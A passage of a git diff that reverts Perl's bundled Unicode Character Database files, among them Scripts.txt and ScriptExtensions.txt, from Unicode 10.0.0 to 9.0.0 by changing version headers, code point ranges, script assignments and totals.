U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # # For documentation, see the following: @@ -8,7 +9,7 @@ # UAX #38, "Unicode Han Database (Unihan)" # UAX #44, "Unicode Character Database." # -# The UAXes can be accessed at http://www.unicode.org/versions/Unicode10.0.0/ +# The UAXes can be accessed at http://www.unicode.org/versions/Unicode9.0.0/ This directory contains the final data files -for the Unicode Character Database, for Version 10.0.0 of the Unicode Standard. +for the Unicode Character Database, for Version 9.0.0 of the Unicode Standard. diff --git a/lib/unicore/ScriptExtensions.txt b/lib/unicore/ScriptExtensions.txt index 4dd151313a73..4bf9a23c31e0 100644 --- a/lib/unicore/ScriptExtensions.txt +++ b/lib/unicore/ScriptExtensions.txt @@ -1,6 +1,6 @@ -# ScriptExtensions-10.0.0.txt -# Date: 2017-05-31, 01:07:00 GMT [RP] -# © 2017 Unicode®, Inc. +# ScriptExtensions-9.0.0.txt +# Date: 2016-06-01, 10:34:37 GMT +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # @@ -39,14 +39,6 @@ # ================================================ -# Script_Extensions=Beng - -1CF7 ; Beng # Mc VEDIC SIGN ATIKRAMA - -# Total code points: 1 - -# ================================================ - # Script_Extensions=Deva 1CD1 ; Deva # Mn VEDIC TONE SHARA @@ -264,12 +256,10 @@ A8F3 ; Deva Taml # Lo DEVANAGARI SIGN CANDRABINDU VIRAMA 0BB5 ; Gran Taml # Lo TAMIL LETTER VA 0BE6..0BEF ; Gran Taml # Nd [10] TAMIL DIGIT ZERO..TAMIL DIGIT NINE 0BF0..0BF2 ; Gran Taml # No [3] TAMIL NUMBER TEN..TAMIL NUMBER ONE THOUSAND -11301 ; Gran Taml # Mn GRANTHA SIGN CANDRABINDU 11303 ; Gran Taml # Mc GRANTHA SIGN VISARGA 1133C ; Gran Taml # Mn GRANTHA SIGN NUKTA - -# Total code points: 18 +# Total code points: 17 # ================================================ @@ -316,10 +306,9 @@ FF9E..FF9F ; Hira Kana # Lm [2] HALFWIDTH KATAKANA VOICED SOUND MARK..HALFW 060C ; Arab Syrc Thaa # Po ARABIC COMMA 061B ; Arab Syrc Thaa # Po ARABIC SEMICOLON -061C ; Arab Syrc Thaa # Cf ARABIC LETTER MARK 061F ; Arab Syrc Thaa # Po ARABIC QUESTION MARK -# Total code points: 4 +# Total code points: 3 # ================================================ diff --git a/lib/unicore/Scripts.txt b/lib/unicore/Scripts.txt index 72319448e967..687994b58eaf 100644 --- a/lib/unicore/Scripts.txt +++ b/lib/unicore/Scripts.txt @@ -1,6 +1,6 @@ -# Scripts-10.0.0.txt -# Date: 2017-03-11, 06:40:37 GMT -# © 2017 Unicode®, Inc. +# Scripts-9.0.0.txt +# Date: 2016-06-01, 10:34:37 GMT +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # @@ -93,6 +93,7 @@ 0605 ; Common # Cf ARABIC NUMBER MARK ABOVE 060C ; Common # Po ARABIC COMMA 061B ; Common # Po ARABIC SEMICOLON +061C ; Common # Cf ARABIC LETTER MARK 061F ; Common # Po ARABIC QUESTION MARK 0640 ; Common # Lm ARABIC TATWEEL 06DD ; Common # Cf ARABIC END OF AYAH @@ -111,7 +112,6 @@ 1CEE..1CF1 ; Common # Lo [4] VEDIC SIGN HEXIFORM LONG ANUSVARA..VEDIC SIGN ANUSVARA UBHAYATO MUKHA 1CF2..1CF3 ; Common # Mc [2] VEDIC SIGN ARDHAVISARGA..VEDIC SIGN ROTATED ARDHAVISARGA 1CF5..1CF6 ; Common # Lo [2] VEDIC SIGN JIHVAMULIYA..VEDIC SIGN UPADHMANIYA -1CF7 ; Common # Mc VEDIC SIGN ATIKRAMA 2000..200A ; Common # Zs [11] EN QUAD..HAIR SPACE 200B ; Common # Cf ZERO WIDTH SPACE 200E..200F ; Common # Cf [2] LEFT-TO-RIGHT MARK..RIGHT-TO-LEFT MARK @@ -155,7 +155,7 @@ 208A..208C ; Common # Sm [3] SUBSCRIPT PLUS SIGN..SUBSCRIPT EQUALS SIGN 208D ; Common # Ps SUBSCRIPT LEFT PARENTHESIS 208E ; Common # Pe SUBSCRIPT RIGHT PARENTHESIS -20A0..20BF ; Common # Sc [32] EURO-CURRENCY SIGN..BITCOIN SIGN +20A0..20BE ; Common # Sc [31] EURO-CURRENCY SIGN..LARI SIGN 2100..2101 ; Common # So [2] ACCOUNT OF..ADDRESSED TO THE SUBJECT 2102 ; Common # L& DOUBLE-STRUCK CAPITAL C 2103..2106 ; Common # So [4] DEGREE CELSIUS..CADA UNA @@ -225,7 +225,8 @@ 239B..23B3 ; Common # Sm [25] LEFT PARENTHESIS UPPER HOOK..SUMMATION BOTTOM 23B4..23DB ; Common # So [40] TOP SQUARE BRACKET..FUSE 23DC..23E1 ; Common # Sm [6] TOP PARENTHESIS..BOTTOM TORTOISE SHELL BRACKET -23E2..2426 ; Common # So [69] WHITE TRAPEZIUM..SYMBOL FOR SUBSTITUTE FORM TWO +23E2..23FE ; Common # So [29] WHITE TRAPEZIUM..POWER SLEEP SYMBOL +2400..2426 ; Common # So [39] SYMBOL FOR NULL..SYMBOL FOR SUBSTITUTE FORM TWO 2440..244A ; Common # So [11] OCR HOOK..OCR DOUBLE BACKSLASH 2460..249B ; Common # No [60] CIRCLED DIGIT ONE..NUMBER TWENTY FULL STOP 249C..24E9 ; Common # So [78] PARENTHESIZED LATIN SMALL LETTER A..CIRCLED LATIN SMALL LETTER Z @@ -310,7 +311,7 @@ 2B76..2B95 ; Common # So [32] NORTH WEST TRIANGLE-HEADED ARROW TO BAR..RIGHTWARDS BLACK ARROW 2B98..2BB9 ; Common # So [34] THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD..UP ARROWHEAD IN A RECTANGLE BOX 2BBD..2BC8 ; Common # So [12] BALLOT BOX WITH LIGHT X..BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED -2BCA..2BD2 ; Common # So [9] TOP HALF BLACK CIRCLE..GROUP MARK +2BCA..2BD1 ; Common # So [8] TOP HALF BLACK CIRCLE..UNCERTAINTY SIGN 2BEC..2BEF ; Common # So [4] LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS..DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS 2E00..2E01 ; Common # Po [2] RIGHT ANGLE SUBSTITUTION MARKER..RIGHT ANGLE DOTTED SUBSTITUTION MARKER 2E02 ; Common # Pi LEFT SUBSTITUTION BRACKET @@ -349,7 +350,7 @@ 2E40 ; Common # Pd DOUBLE HYPHEN 2E41 ; Common # Po REVERSED COMMA 2E42 ; Common # Ps DOUBLE LOW-REVERSED-9 QUOTATION MARK -2E43..2E49 ; Common # Po [7] DASH WITH LEFT UPTURN..DOUBLE STACKED COMMA +2E43..2E44 ; Common # Po [2] DASH WITH LEFT UPTURN..DOUBLE SUSPENSION MARK 2FF0..2FFB ; Common # So [12] IDEOGRAPHIC DESCRIPTION CHARACTER LEFT TO RIGHT..IDEOGRAPHIC DESCRIPTION CHARACTER OVERLAID 3000 ; Common # Zs IDEOGRAPHIC SPACE 3001..3003 ; Common # Po [3] IDEOGRAPHIC COMMA..DITTO MARK @@ -580,12 +581,11 @@ FFFC..FFFD ; Common # So [2] OBJECT REPLACEMENT CHARACTER..REPLACEMENT CHAR 1F210..1F23B ; Common # So [44] SQUARED CJK UNIFIED IDEOGRAPH-624B..SQUARED CJK UNIFIED IDEOGRAPH-914D 1F240..1F248 ; Common # So [9] TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C..TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557 1F250..1F251 ; Common # So [2] CIRCLED IDEOGRAPH ADVANTAGE..CIRCLED IDEOGRAPH ACCEPT -1F260..1F265 ; Common # So [6] ROUNDED SYMBOL FOR FU..ROUNDED SYMBOL FOR CAI 1F300..1F3FA ; Common # So [251] CYCLONE..AMPHORA 1F3FB..1F3FF ; Common # Sk [5] EMOJI MODIFIER FITZPATRICK TYPE-1-2..EMOJI MODIFIER FITZPATRICK TYPE-6 -1F400..1F6D4 ; Common # So [725] RAT..PAGODA +1F400..1F6D2 ; Common # So [723] RAT..SHOPPING TROLLEY 1F6E0..1F6EC ; Common # So [13] HAMMER AND WRENCH..AIRPLANE ARRIVING -1F6F0..1F6F8 ; Common # So [9] SATELLITE..FLYING SAUCER +1F6F0..1F6F6 ; Common # So [7] SATELLITE..CANOE 1F700..1F773 ; Common # So [116] ALCHEMICAL SYMBOL FOR QUINTESSENCE..ALCHEMICAL SYMBOL FOR HALF OUNCE 1F780..1F7D4 ; Common # So [85] BLACK LEFT-POINTING ISOSCELES RIGHT TRIANGLE..HEAVY TWELVE POINTED PINWHEEL STAR 1F800..1F80B ; Common # So [12] LEFTWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD..DOWNWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD @@ -593,17 +593,18 @@ FFFC..FFFD ; Common # So [2] OBJECT REPLACEMENT CHARACTER..REPLACEMENT CHAR 1F850..1F859 ; Common # So [10] LEFTWARDS SANS-SERIF ARROW..UP DOWN SANS-SERIF ARROW 1F860..1F887 ; Common # So [40] WIDE-HEADED LEFTWARDS LIGHT BARB ARROW..WIDE-HEADED SOUTH WEST VERY HEAVY BARB ARROW 1F890..1F8AD ; Common # So [30] LEFTWARDS TRIANGLE ARROWHEAD..WHITE ARROW SHAFT WIDTH TWO THIRDS -1F900..1F90B ; Common # So [12] CIRCLED CROSS FORMEE WITH FOUR DOTS..DOWNWARD FACING NOTCHED HOOK WITH DOT -1F910..1F93E ; Common # So [47] ZIPPER-MOUTH FACE..HANDBALL -1F940..1F94C ; Common # So [13] WILTED FLOWER..CURLING STONE -1F950..1F96B ; Common # So [28] CROISSANT..CANNED FOOD -1F980..1F997 ; Common # So [24] CRAB..CRICKET +1F910..1F91E ; Common # So [15] ZIPPER-MOUTH FACE..HAND WITH INDEX AND MIDDLE FINGERS CROSSED +1F920..1F927 ; Common # So [8] FACE WITH COWBOY HAT..SNEEZING FACE +1F930 ; Common # So PREGNANT WOMAN +1F933..1F93E ; Common # So [12] SELFIE..HANDBALL +1F940..1F94B ; Common # So [12] WILTED FLOWER..MARTIAL ARTS UNIFORM +1F950..1F95E ; Common # So [15] CROISSANT..PANCAKES +1F980..1F991 ; Common # So [18] CRAB..SQUID 1F9C0 ; Common # So CHEESE WEDGE -1F9D0..1F9E6 ; Common # So [23] FACE WITH MONOCLE..SOCKS E0001 ; Common # Cf LANGUAGE TAG E0020..E007F ; Common # Cf [96] TAG SPACE..CANCEL TAG -# Total code points: 7363 +# Total code points: 7279 # ================================================ @@ -797,7 +798,6 @@ FB46..FB4F ; Hebrew # Lo [10] HEBREW LETTER TSADI WITH DAGESH..HEBREW LIGATU 060D ; Arabic # Po ARABIC DATE SEPARATOR 060E..060F ; Arabic # So [2] ARABIC POETIC VERSE SIGN..ARABIC SIGN MISRA 0610..061A ; Arabic # Mn [11] ARABIC SIGN SALLALLAHOU ALAYHE WASSALLAM..ARABIC SMALL KASRA -061C ; Arabic # Cf ARABIC LETTER MARK 061E ; Arabic # Po ARABIC TRIPLE DOT PUNCTUATION MARK 0620..063F ; Arabic # Lo [32] ARABIC LETTER KASHMIRI YEH..ARABIC LETTER FARSI YEH WITH THREE DOTS ABOVE 0641..064A ; Arabic # Lo [10] ARABIC LETTER FEH..ARABIC LETTER YEH @@ -871,7 +871,7 @@ FE76..FEFC ; Arabic # Lo [135] ARABIC FATHA ISOLATED FORM..ARABIC LIGATURE LA 1EEAB..1EEBB ; Arabic # Lo [17] ARABIC MATHEMATICAL DOUBLE-STRUCK LAM..ARABIC MATHEMATICAL DOUBLE-STRUCK GHAIN 1EEF0..1EEF1 ; Arabic # Sm [2] ARABIC MATHEMATICAL OPERATOR MEEM WITH HAH WITH TATWEEL..ARABIC MATHEMATICAL OPERATOR HAH WITH DAL -# Total code points: 1280 +# Total code points: 1279 # ================================================ @@ -882,9 +882,8 @@ FE76..FEFC ; Arabic # Lo [135] ARABIC FATHA ISOLATED FORM..ARABIC LIGATURE LA 0712..072F ; Syriac # Lo [30] SYRIAC LETTER BETH..SYRIAC LETTER PERSIAN DHALATH 0730..074A ; Syriac # Mn [27] SYRIAC PTHAHA ABOVE..SYRIAC BARREKH 074D..074F ; Syriac # Lo [3] SYRIAC LETTER SOGDIAN ZHAIN..SYRIAC LETTER SOGDIAN FE -0860..086A ; Syriac # Lo [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA -# Total code points: 88 +# Total code points: 77 # ================================================ @@ -954,10 +953,8 @@ A8FD ; Devanagari # Lo DEVANAGARI JAIN OM 09F4..09F9 ; Bengali # No [6] BENGALI CURRENCY NUMERATOR ONE..BENGALI CURRENCY DENOMINATOR SIXTEEN 09FA ; Bengali # So BENGALI ISSHAR 09FB ; Bengali # Sc BENGALI GANDA MARK -09FC ; Bengali # Lo BENGALI LETTER VEDIC ANUSVARA -09FD ; Bengali # Po BENGALI ABBREVIATION SIGN -# Total code points: 95 +# Total code points: 93 # ================================================ @@ -1010,9 +1007,8 @@ A8FD ; Devanagari # Lo DEVANAGARI JAIN OM 0AF0 ; Gujarati # Po GUJARATI ABBREVIATION SIGN 0AF1 ; Gujarati # Sc GUJARATI RUPEE SIGN 0AF9 ; Gujarati # Lo GUJARATI LETTER ZHA -0AFA..0AFF ; Gujarati # Mn [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE -# Total code points: 91 +# Total code points: 85 # ================================================ @@ -1127,12 +1123,11 @@ A8FD ; Devanagari # Lo DEVANAGARI JAIN OM # ================================================ -0D00..0D01 ; Malayalam # Mn [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU +0D01 ; Malayalam # Mn MALAYALAM SIGN CANDRABINDU 0D02..0D03 ; Malayalam # Mc [2] MALAYALAM SIGN ANUSVARA..MALAYALAM SIGN VISARGA 0D05..0D0C ; Malayalam # Lo [8] MALAYALAM LETTER A..MALAYALAM LETTER VOCALIC L 0D0E..0D10 ; Malayalam # Lo [3] MALAYALAM LETTER E..MALAYALAM LETTER AI 0D12..0D3A ; Malayalam # Lo [41] MALAYALAM LETTER O..MALAYALAM LETTER TTTA -0D3B..0D3C ; Malayalam # Mn [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA 0D3D ; Malayalam # Lo MALAYALAM SIGN AVAGRAHA 0D3E..0D40 ; Malayalam # Mc [3] MALAYALAM VOWEL SIGN AA..MALAYALAM VOWEL SIGN II 0D41..0D44 ; Malayalam # Mn [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR @@ -1151,7 +1146,7 @@ A8FD ; Devanagari # Lo DEVANAGARI JAIN OM 0D79 ; Malayalam # So MALAYALAM DATE MARK 0D7A..0D7F ; Malayalam # Lo [6] MALAYALAM LETTER CHILLU NN..MALAYALAM LETTER CHILLU K -# Total code points: 117 +# Total code points: 114 # ================================================ @@ -1468,10 +1463,10 @@ AB70..ABBF ; Cherokee # L& [80] CHEROKEE SMALL LETTER A..CHEROKEE SMALL LETT 3041..3096 ; Hiragana # Lo [86] HIRAGANA LETTER SMALL A..HIRAGANA LETTER SMALL KE 309D..309E ; Hiragana # Lm [2] HIRAGANA ITERATION MARK..HIRAGANA VOICED ITERATION MARK 309F ; Hiragana # Lo HIRAGANA DIGRAPH YORI -1B001..1B11E ; Hiragana # Lo [286] HIRAGANA LETTER ARCHAIC YE..HENTAIGANA LETTER N-MU-MO-2 +1B001 ; Hiragana # Lo HIRAGANA LETTER ARCHAIC YE 1F200 ; Hiragana # So SQUARE HIRAGANA HOKA -# Total code points: 376 +# Total code points: 91 # ================================================ @@ -1490,10 +1485,10 @@ FF71..FF9D ; Katakana # Lo [45] HALFWIDTH KATAKANA LETTER A..HALFWIDTH KATAK # ================================================ 02EA..02EB ; Bopomofo # Sk [2] MODIFIER LETTER YIN DEPARTING TONE MARK..MODIFIER LETTER YANG DEPARTING TONE MARK -3105..312E ; Bopomofo # Lo [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE +3105..312D ; Bopomofo # Lo [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH 31A0..31BA ; Bopomofo # Lo [27] BOPOMOFO LETTER BU..BOPOMOFO LETTER ZY -# Total code points: 71 +# Total code points: 70 # ================================================ @@ -1506,17 +1501,16 @@ FF71..FF9D ; Katakana # Lo [45] HALFWIDTH KATAKANA LETTER A..HALFWIDTH KATAK 3038..303A ; Han # Nl [3] HANGZHOU NUMERAL TEN..HANGZHOU NUMERAL THIRTY 303B ; Han # Lm VERTICAL IDEOGRAPHIC ITERATION MARK 3400..4DB5 ; Han # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5 -4E00..9FEA ; Han # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA +4E00..9FD5 ; Han # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5 F900..FA6D ; Han # Lo [366] CJK COMPATIBILITY IDEOGRAPH-F900..CJK COMPATIBILITY IDEOGRAPH-FA6D FA70..FAD9 ; Han # Lo [106] CJK COMPATIBILITY IDEOGRAPH-FA70..CJK COMPATIBILITY IDEOGRAPH-FAD9 20000..2A6D6 ; Han # Lo [42711] CJK UNIFIED IDEOGRAPH-20000..CJK UNIFIED IDEOGRAPH-2A6D6 2A700..2B734 ; Han # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734 2B740..2B81D ; Han # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D 2B820..2CEA1 ; Han # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1 -2CEB0..2EBE0 ; Han # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0 2F800..2FA1D ; Han # Lo [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D -# Total code points: 89228 +# Total code points: 81734 # ================================================ @@ -1531,9 +1525,8 @@ A490..A4C6 ; Yi # So [55] YI RADICAL QOT..YI RADICAL KE 10300..1031F ; Old_Italic # Lo [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS 10320..10323 ; Old_Italic # No [4] OLD ITALIC NUMERAL ONE..OLD ITALIC NUMERAL FIFTY -1032D..1032F ; Old_Italic # Lo [3] OLD ITALIC LETTER YE..OLD ITALIC LETTER SOUTHERN TSE -# Total code points: 39 +# Total code points: 36 # ================================================ @@ -1565,7 +1558,7 @@ A490..A4C6 ; Yi # So [55] YI RADICAL QOT..YI RADICAL KE 1CED ; Inherited # Mn VEDIC SIGN TIRYAK 1CF4 ; Inherited # Mn VEDIC TONE CANDRA ABOVE 1CF8..1CF9 ; Inherited # Mn [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE -1DC0..1DF9 ; Inherited # Mn [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW +1DC0..1DF5 ; Inherited # Mn [54] COMBINING DOTTED GRAVE ACCENT..COMBINING UP TACK ABOVE 1DFB..1DFF ; Inherited # Mn [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW 200C..200D ; Inherited # Cf [2] ZERO WIDTH NON-JOINER..ZERO WIDTH JOINER 20D0..20DC ; Inherited # Mn [13] COMBINING LEFT HARPOON ABOVE..COMBINING FOUR DOTS ABOVE @@ -1585,7 +1578,7 @@ FE20..FE2D ; Inherited # Mn [14] COMBINING LIGATURE LEFT HALF..COMBINING CON 1D1AA..1D1AD ; Inherited # Mn [4] MUSICAL SYMBOL COMBINING DOWN BOW..MUSICAL SYMBOL COMBINING SNAP PIZZICATO E0100..E01EF ; Inherited # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTOR-256 -# Total code points: 568 +# Total code points: 564 # ================================================ @@ -2636,58 +2629,4 @@ ABF0..ABF9 ; Meetei_Mayek # Nd [10] MEETEI MAYEK DIGIT ZERO..MEETEI MAYEK DI # Total code points: 6881 -# ================================================ - -11D00..11D06 ; Masaram_Gondi # Lo [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E -11D08..11D09 ; Masaram_Gondi # Lo [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O -11D0B..11D30 ; Masaram_Gondi # Lo [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA -11D31..11D36 ; Masaram_Gondi # Mn [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R -11D3A ; Masaram_Gondi # Mn MASARAM GONDI VOWEL SIGN E -11D3C..11D3D ; Masaram_Gondi # Mn [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O -11D3F..11D45 ; Masaram_Gondi # Mn [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA -11D46 ; Masaram_Gondi # Lo MASARAM GONDI REPHA -11D47 ; Masaram_Gondi # Mn MASARAM GONDI RA-KARA -11D50..11D59 ; Masaram_Gondi # Nd [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE - -# Total code points: 75 - -# ================================================ - -16FE1 ; Nushu # Lm NUSHU ITERATION MARK -1B170..1B2FB ; Nushu # Lo [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB - -# Total code points: 397 - -# ================================================ - -11A50 ; Soyombo # Lo SOYOMBO LETTER A -11A51..11A56 ; Soyombo # Mn [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE -11A57..11A58 ; Soyombo # Mc [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU -11A59..11A5B ; Soyombo # Mn [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK -11A5C..11A83 ; Soyombo # Lo [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA -11A86..11A89 ; Soyombo # Lo [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA -11A8A..11A96 ; Soyombo # Mn [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA -11A97 ; Soyombo # Mc SOYOMBO SIGN VISARGA -11A98..11A99 ; Soyombo # Mn [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER -11A9A..11A9C ; Soyombo # Po [3] SOYOMBO MARK TSHEG..SOYOMBO MARK DOUBLE SHAD -11A9E..11AA2 ; Soyombo # Po [5] SOYOMBO HEAD MARK WITH MOON AND SUN AND TRIPLE FLAME..SOYOMBO TERMINAL MARK-2 - -# Total code points: 80 - -# ================================================ - -11A00 ; Zanabazar_Square # Lo ZANABAZAR SQUARE LETTER A -11A01..11A06 ; Zanabazar_Square # Mn [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O -11A07..11A08 ; Zanabazar_Square # Mc [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU -11A09..11A0A ; Zanabazar_Square # Mn [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK -11A0B..11A32 ; Zanabazar_Square # Lo [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA -11A33..11A38 ; Zanabazar_Square # Mn [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA -11A39 ; Zanabazar_Square # Mc ZANABAZAR SQUARE SIGN VISARGA -11A3A ; Zanabazar_Square # Lo ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA -11A3B..11A3E ; Zanabazar_Square # Mn [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA -11A3F..11A46 ; Zanabazar_Square # Po [8] ZANABAZAR SQUARE INITIAL HEAD MARK..ZANABAZAR SQUARE CLOSING DOUBLE-LINED HEAD MARK -11A47 ; Zanabazar_Square # Mn ZANABAZAR SQUARE SUBJOINER - -# Total code points: 72 - # EOF diff --git a/lib/unicore/SpecialCasing.txt b/lib/unicore/SpecialCasing.txt index b9ba0d81c167..b23fa7f7680a 100644 --- a/lib/unicore/SpecialCasing.txt +++ b/lib/unicore/SpecialCasing.txt @@ -1,6 +1,6 @@ -# SpecialCasing-10.0.0.txt -# Date: 2017-04-14, 05:40:43 GMT -# © 2017 Unicode®, Inc. +# SpecialCasing-9.0.0.txt +# Date: 2016-03-02, 18:55:13 GMT +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # @@ -197,7 +197,7 @@ FB17; FB17; 0544 056D; 0544 053D; # ARMENIAN SMALL LIGATURE MEN XEH # ================================================================================ # Conditional Mappings -# The remainder of this file provides conditional casing data used to produce +# The remainder of this file provides conditional casing data used to produce # full case mappings. # ================================================================================ # Language-Insensitive Mappings diff --git a/lib/unicore/StandardizedVariants.txt b/lib/unicore/StandardizedVariants.txt index 769c998dc5c3..b749b1e4c35d 100644 --- a/lib/unicore/StandardizedVariants.txt +++ b/lib/unicore/StandardizedVariants.txt @@ -1,6 +1,6 @@ -# StandardizedVariants-10.0.0.txt -# Date: 2017-05-02, 01:00:00 GMT [KW, LI, RP] -# © 2017 Unicode®, Inc. +# StandardizedVariants-9.0.0.txt +# Date: 2015-11-20, 22:54:00 GMT [KW, LI, RP] +# © 1991-2015 Unicode®, Inc. # For terms of use, see http://www.unicode.org/terms_of_use.html # # Specification of the variation sequences that are defined in the @@ -10,30 +10,21 @@ # Unicode Character Database. # # Standardized variation sequences are defined in this file. -# # Ideographic variation sequences are defined according to the registration # process specified in UTS #37, and are listed in the Ideographic -# Variation Database. -# -# Emoji variation sequences are defined in the file -# emoji-variation-sequences.txt, documented in UTS #51, Unicode Emoji. -# -# Only those three types of variation sequences +# Variation Database. Only those two types of variation sequences # are sanctioned for use by conformant implementations. # In all other cases, use of a variation selector character does # not change the visual appearance of the preceding base character # from what it would have had in the absence of the variation selector. # -# For more information on standardized variation sequences, -# see Section 23.4, Variation Selectors, -# in The Unicode Standard, Version 10.0. +# For more information on standardized variation sequences, +# see Section 23.4, Variation Selectors, +# in The Unicode Standard, Version 9.0. # # For more information on the Ideographic Variation Database, # see http://www.unicode.org/ivd/ # -# For more information on emoji variation sequences, -# see http://www.unicode.org/reports/tr51/ -# # Format: # Field 0: the variation sequence # Field 1: the description of the desired appearance @@ -46,7 +37,7 @@ 0030 FE00; short diagonal stroke form; # DIGIT ZERO 2205 FE00; zero with long diagonal stroke overlay form; # EMPTY SET -2229 FE00; with serifs; # INTERSECTION +2229 FE00; with serifs; # INTERSECTION 222A FE00; with serifs; # UNION 2268 FE00; with vertical stroke; # LESS-THAN BUT NOT EQUAL TO 2269 FE00; with vertical stroke; # GREATER-THAN BUT NOT EQUAL TO @@ -126,41 +117,43 @@ A868 FE00; phags-pa letter reversed shaping subjoined ya; # PHAGS-PA SUBJOINED L # Mongolian 1820 180B; second form; isolate medial final # MONGOLIAN LETTER A -1820 180C; third form; medial # MONGOLIAN LETTER A +1820 180C; third form; medial # MONGOLIAN LETTER A 1821 180B; second form; initial final # MONGOLIAN LETTER E 1822 180B; second form; medial # MONGOLIAN LETTER I -1823 180B; second form; medial final # MONGOLIAN LETTER O -1824 180B; second form; medial # MONGOLIAN LETTER U -1825 180B; second form; medial final # MONGOLIAN LETTER OE -1825 180C; third form; medial # MONGOLIAN LETTER OE -1826 180B; second form; isolate medial final # MONGOLIAN LETTER UE -1826 180C; third form; medial # MONGOLIAN LETTER UE +1823 180B; second form; medial final # MONGOLIAN LETTER O +1824 180B; second form; medial # MONGOLIAN LETTER U +1825 180B; second form; medial final # MONGOLIAN LETTER OE +1825 180C; third form; medial # MONGOLIAN LETTER OE +1826 180B; second form; isolate medial final # MONGOLIAN LETTER UE +1826 180C; third form; medial # MONGOLIAN LETTER UE 1828 180B; second form; initial medial # MONGOLIAN LETTER NA 1828 180C; third form; medial # MONGOLIAN LETTER NA -1828 180D; fourth form; medial # MONGOLIAN LETTER NA -182A 180B; second form; final # MONGOLIAN LETTER BA -182C 180B; second form; isolate initial medial # MONGOLIAN LETTER QA +1828 180D; separate form; medial # MONGOLIAN LETTER NA +182A 180B; alternative form; final # MONGOLIAN LETTER BA +182C 180B; second form; initial medial # MONGOLIAN LETTER QA +182C 180B; feminine second form; isolate # MONGOLIAN LETTER QA 182C 180C; third form; medial # MONGOLIAN LETTER QA 182C 180D; fourth form; medial # MONGOLIAN LETTER QA -182D 180B; second form; initial medial final # MONGOLIAN LETTER GA +182D 180B; second form; initial medial # MONGOLIAN LETTER GA +182D 180B; feminine form; final # MONGOLIAN LETTER GA 182D 180C; third form; medial # MONGOLIAN LETTER GA -182D 180D; fourth form; medial # MONGOLIAN LETTER GA +182D 180D; feminine form; medial # MONGOLIAN LETTER GA 1830 180B; second form; final # MONGOLIAN LETTER SA 1830 180C; third form; final # 